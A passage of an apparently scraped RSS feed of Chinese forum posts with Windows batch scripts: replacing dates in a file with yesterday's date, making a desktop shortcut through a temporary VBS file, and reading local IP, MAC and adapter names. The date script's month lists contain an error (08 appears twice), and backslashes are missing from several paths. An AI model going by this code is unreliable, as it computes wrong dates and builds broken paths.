  <title><![CDATA[把包含日期之类字符的文本替换成昨天的日期，并保存]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@echo off&amp;setlocal enabledelayedexpansion&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if exist &quot;123.bat&quot; del /q /f /a &quot;123.bat&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if exist &quot;123.txt&quot; del /q /f /a &quot;123.txt&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;mode con: cols=53 lines=10&amp;color 0e&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set YE=%date:~0,4%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set MO=%date:~5,2%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set DA=%date:~8,2%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set DG=1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a vY1=%YE% %% 400&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a vY2=%YE% %% 4&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a vY3=%YE% %% 100&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %vY1%==0 (set var=true) else (if %vY2%==0 (if %vY3%==0 (set var=false) else (set var=true)) else (set var=false))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set LY=%YE%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set LM=%MO%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %DA:~0,1%==0 (set DA=%DA:~1,1%)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %DA% GTR %DG% (set/a LD=%DA%-%DG%) else (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %MO%==01 (set/a LY=%YE%-1) &amp; (set/a LM=12+%MO%-1) &amp; (set/a LD=31+%DA%-%DG%) else (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a LM=%MO%-1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %MO%==03 (if %var%==false (set/a LD=28+%DA%-%DG%) else (set/a LD=29+%DA%-%DG%))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (02 04 06 08 09 11) do (if &quot;%MO%&quot;==&quot;%%a&quot; (set/a LD=31+%DA%-%DG%))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%b in (05 07 08 10 12) do (if &quot;%MO%&quot;==&quot;%%b&quot; (set/a LD=30+%DA%-%DG%))))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %LM% LSS 10 set LM=0%LM:~-1%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %LD% LSS 10 set LD=0%LD:~-1%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /l %%a in (0 1 9) do set #%%a=a&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /p file=请把你要处理的文本文件拖到本窗口或手动输入路径文件名:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;str=%file%&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;str=!str:&quot;=!&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set file=!str!&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;delims=&quot; %%i in (&#039;type &quot;%file%&quot;&#039;) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;str=%%i&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;stra=%%i&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;str=!str:,=!&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;str=!str:;=!&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;str=!str: =!&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set n=0&amp;set &quot;var=&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /l %%a in (0 1 9) do set str=!str:%%a= %%a !&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (!str!) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if defined #%%a (set var=!var!%%a&amp;set /a n+=1) else set var=&amp;set n=0&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if !n! equ 8 echo !var!&gt;&gt;123.txt&amp;set var=&amp;set n=0&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;delims=&quot; %%a in (&#039;type &quot;%file%&quot;&#039;) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;str=%%a&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;delims=&quot; %%i in (123.txt) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str=!str:%%i=%LY%%LM%%LD%!&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo !str!&gt;&gt;123.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;del /q /f /a &quot;123.txt&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;start 123.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;我按你上面的日期格式给你修改。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;这实在不是批处理干的事情，楼主硬要批处理，看在楼主的分的份上我只好给你了，就是太小气了才有5分。如果肯多加点分将不胜感激。如果日期格式不对记得给我说。</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=757]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:52:39 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[用bat建快捷方式，不要vbs和url，只要lnk的]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if exist %systemroot%temptmp.vbs del /s /q %systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Dim WshShell,Shortcut&gt;&gt;%systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Dim path,fso&gt;&gt;%systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo path=&quot;%cd%beijingfengtai.exe&quot;&gt;&gt;%systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Set fso=CreateObject(&quot;Scripting.FileSystemObject&quot;)&gt;&gt;%systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Set WshShell=WScript.CreateObject(&quot;WScript.Shell&quot;)&gt;&gt;%systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Set Shortcut=WshShell.CreateShortCut(&quot;%USERPROFILE%桌面fengtai.lnk&quot;)&gt;&gt;%systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Shortcut.TargetPath=path&gt;&gt;%systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Shortcut.Save&gt;&gt;%systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&quot;%SystemRoot%System32WScript.exe&quot; %systemroot%temptmp.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;del %systemroot%temptmp.vbs /s /q&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=756]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:51:59 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理获取本机IP(局域网)及MAC地址]]></title>
  <description><![CDATA[<span style="font-size: 13px;">::==================批处理获取本机IP(局域网)及MAC地址==============&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::code by&nbsp;</span><a href="http://www.ff87.com/" style="font-size: 13px;">www.ff87.com</a><span style="font-size: 13px;">&nbsp;2013-1-5&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;setlocal enabledelayedexpansion&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;title 获取本机IP(局域网)及MAC地址@bbs.bathome.cn&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Rem &#039;/*=========初始化设置=============*/&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;Space=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;PH_addr=%Space%Physical Address&quot;&nbsp;&nbsp;%&#039;/*-----物理地址-------*/%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set &quot;IP_addr=%Space%IP Address&quot; %&#039;/*------IP地址(局域网)--------*/%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Rem ===========主程序===================&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;tokens=1,* delims=.&quot; %%i in (&#039;ipconfig /all&#039;) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (PH_addr IP_addr) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if &quot;%%i&quot;==&quot;!%%a!&quot; set %%a=%%j&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Rem &#039;/*===========对结果进行处理===========&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set PH_addr=%PH_addr:*:=%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set IP_addr=%IP_addr:*:=%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Rem &#039;/*===========结果输出===============&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 你的网卡物理地址为：%PH_addr%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 你的IP(局域网)地址为：%IP_addr%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;pause&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=753]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:50:22 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理获取网络连接名称]]></title>
  <description><![CDATA[<span style="font-size: 13px;">::==================批处理获取网络连接名称==============&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; ::code by&nbsp;</span><a href="http://www.ff87.com/" style="font-size: 13px;">www.ff87.com</a><span style="font-size: 13px;">&nbsp;2013-1-5&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @echo off&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; setlocal enabledelayedexpansion&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; title 获取网络连接名称@bbs.bathome.cn&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; Rem &#039;/*=========初始化设置=============*/&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; set &quot;NIC_flag=Ethernet&quot;&nbsp; %&#039;/*-----网卡标志 -------*/%&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; set NIC_num=0 %&#039;/*------初始化网卡数目--------*/%&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; Rem ===========主程序===================&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; for /f &quot;tokens=1,2,3,* delims=: &quot; %%i in (&#039;ipconfig /all&#039;) do (&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; set /a num+=1&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; if &quot;%%i&quot;==&quot;%NIC_flag%&quot; (&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; set /a num_=!num!+3,NIC_num+=1&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; set NIC_name!Nic_num!=%%k)&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; if !num! EQU !num_! set var=%%l&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; set var=!var:*:=!&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; set Desp!Nic_num!=!var!&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; )&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; Rem ===========结果输出===============&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; echo 你共有 %NIC_num% 块网卡&amp;echo.&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; echo 连接名称&nbsp;&nbsp;&nbsp; 网卡型号&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; echo.&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; for /l %%i in (1 1 %NIC_num%) do echo !NIC_name%%i!&nbsp;&nbsp;&nbsp; !Desp%%i!&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; pause&gt;nul &nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=752]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:49:53 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理万年历(包括农历日期)]]></title>
  <description><![CDATA[<span style="font-size: 13px;">复制内容到剪贴板&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;代码:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 月历查询工具 最初发表于CN-DOS&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 原创：foxjl&nbsp;&nbsp;更新：namejm, qzwqzw，foxjl&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 计算农历日期部分思路及算法来自&quot;趣味东&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 输入的日期格式为：年-月-日(-可以替换为:、/，可以混用)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 在日历里面，★=当天&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 支持多种格式的日期输入：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: ① 若只输入一个数，则认为是查询当年月份，自动截取后两位数字查询，★标在1日上；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: ② 若输入两个数，则认为是查询年和月，★标在1日上；&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: ③ 输全的话，★标在指定日期上&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 关于年份的转换：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: ① 若年份上输入的数字少于三位，则作如下转换：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;&nbsp; 50~99判定为19xx&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;&nbsp; 0~49判定为20xx&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: ② 若输入的年份数字超过两位，则截取后四位字符(不足部分在高位补0)，&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;&nbsp;按 ① 的规则计算该年份的日期；&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 07-08-04 增加针对农历的生肖及干支年计算；修改错误日期循环提示的BUG.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:: 08-01-13 增加推算农历日期的功能.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;color 1f&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;mode con cols=40 lines=20&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;setlocal enabledelayedexpansion&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set str=日一二三四五六七八九&nbsp;&nbsp;</span><span 